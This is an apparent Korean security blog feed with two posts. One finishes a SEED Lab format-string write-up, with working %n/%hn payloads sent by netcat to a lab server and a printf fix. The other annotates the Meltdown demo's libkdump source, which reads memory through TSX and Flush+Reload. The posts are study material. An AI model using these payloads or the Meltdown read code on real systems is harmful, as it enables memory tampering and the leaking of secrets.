D�0000000000000000000000000000 ... (more zeros) ... 0000000000000000000000000
The value of the 'target' variable (after): 0x00000500

// Client
$ python -c 'print  &quot;\x44\xa0\x04\x08%.1276x%80$n&quot;' &amp;gt; badfile 
$ nc -u 127.0.0.1 9090  &amp;lt; badfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;b&gt;Task 5.C: Change the value to 0xFF990000.&lt;/b&gt; This sub-task is similar to the previous one, except that the target value is now a large number. In a format string attack, this value is the total number of characters that are printed out by the printf() function; printing out this large number of characters may take hours. You need to use a faster approach. The basic idea is to use %hn, instead of %n, so we can modify a two-byte memory space, instead of four bytes. Printing out 216 characters does not take much time. We can break the memory space of the target variable into two blocks of memory, each having two bytes. We just need to set one block to 0xFF99 and set the other one to 0x0000. This means that in your attack, you need to provide two addresses in the format string. &lt;br /&gt;&lt;br /&gt;In format string attacks, changing the content of a memory space to a very small value is quite challenging (please explain why in the report); 0x00 is an extreme case. To achieve this goal, we need to use an overflow technique. The basic idea is that when we make a number larger than what the storage allows, only the lower part of the number will be stored (basically, there is an integer overflow). For example, if the number 216 + 5 is stored in a 16-bit memory space, only 5 will be stored. Therefore, to get to zero, we just need to get the number to 216 = 65,536.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;우선 0xFF99와 0x10000 두 부분으로 나눠야한다.&lt;/p&gt;
&lt;p&gt;little endian 방식을 사용하기 때문에 0x0804a046에는 0xFF99, 0x0804a644에는 103을 추가로 더해서 구성한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;0xFF99 - 0x8 = 0xFF91 = 65425 (&lt;span style=&quot;color: #333333;&quot;&gt;0x0804a046)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;0x10000 - 0xFF91 - 0x8 = 0x67 = 103 (&lt;span style=&quot;color: #333333;&quot;&gt;0x0804a644)&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612276733314&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// Server
$ ./server 
The address of the input array: 0xbfffe680
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5d8
D�0000000000000000000000000000 ... (more zeros) ... 0000000000000000000000000
The value of the 'target' variable (after): 0xff990000

// client
$ python -c 'print &quot;\x46\xa0\x04\x08\x44\xa0\x04\x08%65425x%80$hn%103x%81$hn&quot;' &amp;gt; badfile
$ nc -u 127.0.0.1 9090  &amp;lt; badfile&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Task 8: Fixing the Problem&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Remember the warning message generated by the gcc compiler? Please explain what it means. Please fix the vulnerability in the server program, and recompile it. Does the compiler warning go away? Do your attacks&amp;nbsp;still&amp;nbsp;work?&amp;nbsp;You&amp;nbsp;only&amp;nbsp;need&amp;nbsp;to&amp;nbsp;try&amp;nbsp;one&amp;nbsp;of&amp;nbsp;your&amp;nbsp;attacks&amp;nbsp;to&amp;nbsp;see&amp;nbsp;whether&amp;nbsp;it&amp;nbsp;still&amp;nbsp;works&amp;nbsp;or&amp;nbsp;not.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;현재 server.c를 compile하면 다음과 같은 warning이 발생한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612350540487&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ !gcc
gcc -z execstack -o server server.c
server.c: In function &amp;lsquo;myprintf&amp;rsquo;:
server.c:34:5: warning: format not a string literal and no format arguments [-Wformat-security]
     printf(msg);
     ^
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;따라서 다음과 같이 방어할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612350908824&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// secure_server.c

 22 void myprintf(char *msg)
 23 {
 24     uintptr_t framep;
 25     // Copy the ebp value into framep, and print it out
 26     asm(&quot;movl %%ebp, %0&quot; : &quot;=r&quot;(framep));
 27     printf(&quot;The ebp value inside myprintf() is: 0x%.8x\n&quot;, framep);
 28 
 29     /* Change the size of the dummy array to randomize the parameters 
 30        for this lab. Need to use the array at least once */
 31     char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);
 32 
 33     // This line has a format-string vulnerability
 34	// printf(msg);
 35     printf(&quot;%s&quot;, msg);
 36     printf(&quot;The value of the 'target' variable (after): 0x%.8x\n&quot;, target);
 37 }

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;line 34를 line 34로 바꾸어 user가 format specifier를 작성하지 못하도록 변경할 수 있다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;결과값은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1612351017220&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ ./secure_server 
The address of the input array: 0xbfffe660
The address of the secret: 0x08048870
The address of the 'target' variable: 0x0804a044
The value of the 'target' variable (before): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5b8
hello
The value of the 'target' variable (after): 0x11223344
The ebp value inside myprintf() is: 0xbfffe5b8
F�D�%65425x%80$hn%103x%81$hn
The value of the 'target' variable (after): 0x11223344
^C
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Format string vulnerability를 방어하기 위해서 Developer의 노력 혹은 Compiler의 경고 능력, ASLR, NX bit 설정 등이 요구 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>SEEDLAB</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/258</guid>
      <comments>https://marcokhan.tistory.com/258#entry258comment</comments>
      <pubDate>Thu, 28 Jan 2021 22:59:39 +0900</pubDate>
    </item>
    <item>
      <title>Analyze the Meltdown demo #1: A first test(test)</title>
      <link>https://marcokhan.tistory.com/256</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;Demo #1&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Demo #1은 간단하게 현재 실험 PC가 meltdown에 취약한지, 즉 meltdown 공격으로 exploit 가능한 환경인지 test 하는 demo이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;기존의 isolation mecahnism을 breaking 하는 것이 아니라 user 자신의 address space를 meltdown 공격을 이용해 읽어들인다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;만일 demo 1에 실패했다면... CPU 문제(2010 이전의 CPU, 혹은 최신 실리콘 패치가 완료된 CPU) 등이 있을 수 있으니 반드시 demo 1이 정상적으로 작동하는 것을 확인하고 이후 demo로 넘어가는 것을 추천한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Build &amp;amp; Run&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611148414495&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;$ make
$ taskset 0x1 ./test&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;정상적인 결과화면은 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611148463477&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Expect: Pay no attention to the content of this string
   Got: Pay no attention to the content of this string
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Demo #1 source 분석&lt;/b&gt;&lt;/h3&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Demo #1에서 사용된 test.c의 소스코드는 다음과 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;main 함수부터 line by line으로 분석할 것이다. (code 1. 참고)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611149077727&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  1 #include &quot;libkdump.h&quot;
  2 #include &amp;lt;stdio.h&amp;gt;
  3 #include &amp;lt;stdlib.h&amp;gt;
  4 #include &amp;lt;string.h&amp;gt;
  5 #include &amp;lt;time.h&amp;gt;
  6 
  7 const char *strings[] = {
  8     &quot;If you can read this, at least the auto configuration is working&quot;,
  9     &quot;Generating witty test message...&quot;,
 10     &quot;Go ahead with the real exploit if you dare&quot;,
 11     &quot;Have a good day.&quot;,
 12     &quot;Welcome to the wonderful world of microarchitectural attacks&quot;,
 13     &quot;Pay no attention to the content of this string&quot;,
 14     &quot;Please wait while we steal your secrets...&quot;,
 15     &quot;Would you like fries with that?&quot;,
 16     &quot;(insert random quote here)&quot;,
 17     &quot;Don't panic...&quot;,
 18     &quot;Wait, do you smell something burning?&quot;,
 19     &quot;How did you get here?&quot;};
 20 
 21 int main(int argc, char *argv[]) {
 22   libkdump_config_t config;
 23   config = libkdump_get_autoconfig();
 24   libkdump_init(config);
 25 
 26   srand(time(NULL));
 27   const char *test = strings[rand() % (sizeof(strings) / sizeof(strings[0]))];
 28   int index = 0;
 29 
 30   printf(&quot;Expect: \x1b[32;1m%s\x1b[0m\n&quot;, test);
 31   printf(&quot;   Got: \x1b[33;1m&quot;);
 32   while (index &amp;lt; strlen(test)) {
 33     int value = libkdump_read((size_t)(test + index));
 34     printf(&quot;%c&quot;, value);
 35     fflush(stdout);
 36     index++;
 37   }
 38 
 39   printf(&quot;\x1b[0m\n&quot;);
 40   libkdump_cleanup();
 41 
 42   return 0;
 43 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&amp;lt; Code1. test.c&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 22:&lt;/b&gt; libkdump_config_t는 공격에 필요한 여러 데이터들을 structure로 관리한다. (Code 2. 참고)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611149241031&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;/**
 * libkdump load thread action
 */
typedef enum {
    NOP, /**&amp;lt; Just run an endless loop */
    IO, /**&amp;lt; Perform I/O operations to trigger interrupts */
    YIELD /**&amp;lt; Continuously switch to the operating system */
} libkdump_load_t;

/**
 * libkdump configuration
 */
typedef struct {
  size_t cache_miss_threshold; /**&amp;lt; Cache miss threshold in cycles for Flush+Reload */
  libkdump_fault_handling_t fault_handling; /**&amp;lt; Type of fault handling (TSX or signal handler) */
  int measurements; /**&amp;lt; Number of measurements to perform for one address */
  int accept_after; /**&amp;lt; How many measurements must be the same to accept the read value */
  int load_threads; /**&amp;lt; Number of threads which are started to increase the chance of reading from inaccessible addresses */
  libkdump_load_t load_type; /**&amp;lt; Function the load threads should execute */
  int retries; /**&amp;lt; Number of Meltdown retries for an address */
  size_t physical_offset; /**&amp;lt; Address of the physical direct map */
} libkdump_config_t;
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 2. libkdump.h - libkdump_config_t structure&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 23:&lt;/b&gt; Line 22에서 선언한 config 자료구조를 default value로 초기화한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;libkdump_get_autoconfig()&lt;/b&gt; 함수는 libkdump.c에서 찾아볼 수 있다. (Code 3. 참고)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Line 23에서 호출한 libkdump_get_autoconfig()는 auto_config() 함수를 호출하고 auto_config() 함수는 다음과 같은 일을 수행한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611149380702&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;static libkdump_config_t config;

libkdump_config_t libkdump_get_autoconfig() {
  auto_config();
  return config;
}

static void auto_config() {
  debug(INFO, &quot;Auto configuration\n&quot;);
  detect_fault_handling();
  detect_flush_reload_threshold();
  config.measurements = 3;
  config.accept_after = 1;
  config.load_threads = 1;
  config.load_type = NOP;
  config.retries = 10000;
  config.physical_offset = DEFAULT_PHYSICAL_OFFSET;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 3. libkdump.c - auto_config()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;b&gt;detect_fault_handler():&lt;/b&gt; 이 함수는 meltdown 공격시 발생하는 falut를 무엇으로 suppression 할지에 대한 결정을 하는 함수이다. 일반전으로 Intel TSX가 signal hander를 사용하는 것보다 성능이 좋기 때문에 내부적으로 현재 CPU가 TSX를 지원하는지 확인하고 TSX를 support한다면 TSX를 falut suppressing 하는데 사용한다. (Code 4. 참고)&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611221648018&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ---------------------------------------------------------------------------
static int check_tsx() {
#if !defined(NO_TSX) &amp;amp;&amp;amp; !defined(FORCE_TSX)
  if (__get_cpuid_max(0, NULL) &amp;gt;= 7) {
    unsigned a, b, c, d;
    __cpuid_count(7, 0, a, b, c, d);
    return (b &amp;amp; (1 &amp;lt;&amp;lt; 11)) ? 1 : 0;
  } else
    return 0;
#elif defined(FORCE_TSX)
  return 1;
#else /* defined (NO_TSX) */
  return 0;
#endif
}

// ---------------------------------------------------------------------------
static void detect_fault_handling() {
  if (check_tsx()) {
    debug(SUCCESS, &quot;Using Intel TSX\n&quot;);
    config.fault_handling = TSX;
  } else {
    debug(INFO, &quot;No Intel TSX, fallback to signal handler\n&quot;);
    config.fault_handling = SIGNAL_HANDLER;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 4. libkdump.c - detect_fault_handling()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;detect_flush_reload_threshold():&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt; Meltdown 공격을 이용할 때 cache에 encoding 한 값을 recover하기 위해서 flush+reload 공격을 사용한다.&lt;/span&gt; flush+reload는 cache hit과 miss의 timing difference를 이용하기 때문에 data load를 하여 얻은 값이 cache hit인지 miss인지 구별해야한다. threshold를 계산할 때 &quot;(flush_reload_time + reload_time * 2) / 3&quot;를 하는 정확한 이유는 알지 모르지만 관습적으로 사용되는 것 같다. (Code 5. 참고)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611221840713&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ---------------------------------------------------------------------------
static void detect_flush_reload_threshold() {
  size_t reload_time = 0, flush_reload_time = 0, i, count = 1000000;
  size_t dummy[16];
  size_t *ptr = dummy + 8;
  uint64_t start = 0, end = 0;

  maccess(ptr);
  for (i = 0; i &amp;lt; count; i++) {		// measure the cache hit cycles
    start = rdtsc();
    maccess(ptr);
    end = rdtsc();
    reload_time += (end - start);
  }
  for (i = 0; i &amp;lt; count; i++) {		// measure the cache miss cycles
    start = rdtsc();
    maccess(ptr);
    end = rdtsc();
    flush(ptr);
    flush_reload_time += (end - start);
  }
  reload_time /= count;			// avg cycles of cache hit
  flush_reload_time /= count;	// avg cycles of cache miss

  debug(INFO, &quot;Flush+Reload: %zd cycles, Reload only: %zd cycles\n&quot;,
        flush_reload_time, reload_time);
  config.cache_miss_threshold = (flush_reload_time + reload_time * 2) / 3;
  debug(SUCCESS, &quot;Flush+Reload threshold: %zd cycles\n&quot;,
        config.cache_miss_threshold);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 5. libkdump.c - detect_flush_reload_threshold()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;config.measurements = 3&lt;/b&gt;: one address에 대해 3번 측정을 한다.&lt;br /&gt;&lt;b&gt;config.accept_after = 1&lt;/b&gt;: 읽은 값을 확신하기 위해서 같은 값이 한 번 이상 나와야한다.&lt;br /&gt;&lt;b&gt;config.load_threads = 1&lt;/b&gt;: inaccessible address로부터 값을 read할 가능성을 높이기 위해서 실행할 thread의 수&lt;br /&gt;&lt;b&gt;config.load_type = NOP&lt;/b&gt;: endless loop를 실행한다.&lt;br /&gt;&lt;b&gt;config.retries = 10000&lt;/b&gt;: meltdown이 an address에 대해 retry 할 횟수&lt;br /&gt;&lt;b&gt;config.physical_offset = DEFAULT_PHYSICAL_OFFSET&lt;/b&gt;: physical direct map address, 즉 0xffff880000000000ull이다.&lt;/p&gt;
&lt;p&gt;일반적으로 &quot;&lt;span&gt;ffff880000000000 - ffffc7ffffffffff&quot; 공간이 direct mapping of all physical memory 영역이다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 24:&lt;/b&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt; l&lt;/span&gt;ibkdump_init(config); 함수를 실행하여 meltdown 공격을 위한 준비 단계이다.&lt;span style=&quot;color: #333333;&quot;&gt;(Code 6. 참고)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611292897346&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ---------------------------------------------------------------------------
int libkdump_init(const libkdump_config_t configuration) {
  int j;
  config = configuration;
  if (memcmp(&amp;amp;config, &amp;amp;libkdump_auto_config, sizeof(libkdump_config_t)) == 0) {                 // if config is not initialized
    auto_config();                                                                              // Initialize the config
  }

  int err = check_config();                                                                     // check the treshold of flush+reload
  if (err != 0) {
    errno = err;
    return -1;
  }
  _mem = malloc(4096 * 300);                                                                    // static char *_mem = NULL
  if (!_mem) {                                                                                  // for read 1 byte of value
    errno = ENOMEM;
    return -1;
  }
  mem = (char *)(((size_t)_mem &amp;amp; ~0xfff) + 0x1000 * 2);                                         // masking LSB 12bit with 0x1000
  memset(mem, 0xab, 4096 * 290);

  for (j = 0; j &amp;lt; 256; j++) {                                                                   // flush the all pages(1 byte(256 bits))
    flush(mem + j * 4096);
  }

  load_thread = malloc(sizeof(pthread_t) * config.load_threads);                                // The number of threads wich are started to increase
  void *thread_func;                                                                            // the chance of reading from inaccessble addresses
  switch (config.load_type) {
  case IO:
    thread_func = syncthread;
    break;
  case YIELD:
    thread_func = yieldthread;
    break;
  case NOP:
  default:
    thread_func = nopthread;                                                                    // nop operation with endless loop
  }

  for (j = 0; j &amp;lt; config.load_threads; j++) {
    int r = pthread_create(&amp;amp;load_thread[j], 0, thread_func, 0);
    if (r != 0) {                                                                               // if pthrea_create is failed..
      int k;
      for (k = 0; k &amp;lt; j; k++) {
        pthread_cancel(load_thread[k]);                                                         // Cancle the thread
      }
      free(load_thread);
      free(_mem);
      errno = r;
      return -1;
    }
  }
  debug(SUCCESS, &quot;Started %d load threads\n&quot;, config.load_threads);

  if (config.fault_handling == SIGNAL_HANDLER) {                                                // If the CPU dose not support INTEL TSX
    if (signal(SIGSEGV, segfault_handler) == SIG_ERR) {                                         // eroll the segfault_handler
      debug(ERROR, &quot;Failed to setup signal handler\n&quot;);
      libkdump_cleanup();
      return -1;
    }
    debug(SUCCESS, &quot;Successfully setup signal handler\n&quot;);
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 6. libkdump.c - libkdump_init()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;parameter로 받은 configuration 변수를 사용자가 설정했는지를 확인한다. 만일 직접 설정을 했다면 따로 configuration 변수를 초기화하지 않는다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;chekc_config() 함수를 호출하여 이전에 측정한 threshold가 올바는 값인지 확인한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&quot;4KB * 300&quot; 크기를 갖는 메모리(mem)를 할당한다. 추후 meltdown 공격으로 읽은 값을 이 메모리(배열)에 인코딩한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이 메모리(mem)의 staring address를 페이지 단위로 접근하도록 하위 12bit를 0으로 마스킹한다.&lt;/p&gt;
&lt;p&gt;(처음 2개의 페이지는 사용하지 않는데.. 이유를 모르겠다...)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;메모리(mem)를 구성하는 여러 페이지의 첫 번째 cache line을 flush 한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;meltdown을 이용해 inaccessible address를 접근하여 데이터를 read할 가능성을 높이기 위해 dummy instruction을 계속 수행한는 thread를 생성한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;만일 fault를 signal handler로 suppressing 하면 signal handler를 등록한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 26-27:&amp;nbsp;&lt;/b&gt;strings[] 배열의 여러 string 중 하나만 선정하여 test 변수에 저장한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Line 32-37:&amp;nbsp;&lt;/b&gt;test 변수가 가리키는 문자열을 한 byte 씩&amp;nbsp; meltdown을 이용해서 읽는다. libkdump_read()를 호출하여 1 byte read를 수행 &lt;span style=&quot;color: #333333;&quot;&gt;(Code 7. 참고)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611295404542&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// ---------------------------------------------------------------------------
int __attribute__((optimize(&quot;-O0&quot;))) libkdump_read(size_t addr) {
  phys = addr;

  char res_stat[256];
  int i, j, r;
  for (i = 0; i &amp;lt; 256; i++)
    res_stat[i] = 0;

  sched_yield();

  for (i = 0; i &amp;lt; config.measurements; i++) {
    if (config.fault_handling == TSX) {
      r = libkdump_read_tsx();
    } else {
      r = libkdump_read_signal_handler();
    }
    res_stat[r]++;
  }
  int max_v = 0, max_i = 0;

  if (dbg) {
    for (i = 0; i &amp;lt; sizeof(res_stat); i++) {
      if (res_stat[i] == 0)
        continue;
      debug(INFO, &quot;res_stat[%x] = %d\n&quot;,
            i, res_stat[i]);
    }
  }

  for (i = 1; i &amp;lt; 256; i++) {
    if (res_stat[i] &amp;gt; max_v &amp;amp;&amp;amp; res_stat[i] &amp;gt;= config.accept_after) {
      max_v = res_stat[i];
      max_i = i;
    }
  }
  return max_i;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 7. libkdump.c - libkdump_read()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;res_stat[256] 변수를 선언한다. 이 변수는 이후 meltdown으로 읽어들인 변수 값의 횟수를 기록하는데 사용된다.&lt;/p&gt;
&lt;p&gt;따라서 res_stat[256]의 element를 모두 0으로 초기화한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;sched_yield()를 정확히 왜 사용하는지는 잘 모르겠다.... ㅠ&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;이전에 설정한 횟수만큼 한 바이트 read를 반복하고 나온 값을 res_stat[] 변수를 이용해 counting한다.&lt;/p&gt;
&lt;p&gt;여기서 CPU가 TSX를 supporting 하는지 하지 않는지에 따라 libkdump_read_tsx()와 libkdump_read_signal_handler()로 나뉜다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;res_stat 변수중 가장 많이 나온 값을 meltdown이 읽어들인 값으로 생각한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;좀 더 &lt;b&gt;libkdump_read_tsx()&lt;/b&gt; 함수를 자세히 보자. &lt;span style=&quot;color: #333333;&quot;&gt;(Code 8. 참고)&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1611296557587&quot; class=&quot;c++ arduino&quot; data-ke-language=&quot;c++&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;int __attribute__((optimize(&quot;-Os&quot;), noinline)) libkdump_read_tsx() {
#ifndef NO_TSX
  size_t retries = config.retries + 1;
  uint64_t start = 0, end = 0;

  while (retries--) {
    if (xbegin() == _XBEGIN_STARTED) {
      MELTDOWN;
      xend();
    }
    int i;
    for (i = 0; i &amp;lt; 256; i++) {
      if (flush_reload(mem + i * 4096)) {
        if (i &amp;gt;= 1) {
          return i;
        }
      }
      sched_yield();
    }
    sched_yield();
  }
#endif
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&amp;lt;Code 8. libkdump.c - libkdump_read_tsx()&amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;#ifndef NO_TSX ~ #endif는 NO_TSX가 정의되어 있지 않으면 해당 block을 실행한다는 뜻이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;retries 변수에 일전에 설정한 retries 값을 할당한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;xbegin() ~ xend()로 METLDOWN을 감싸 실행한다. MELTDOWN 코드가 하나의 transaction으로 실행된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
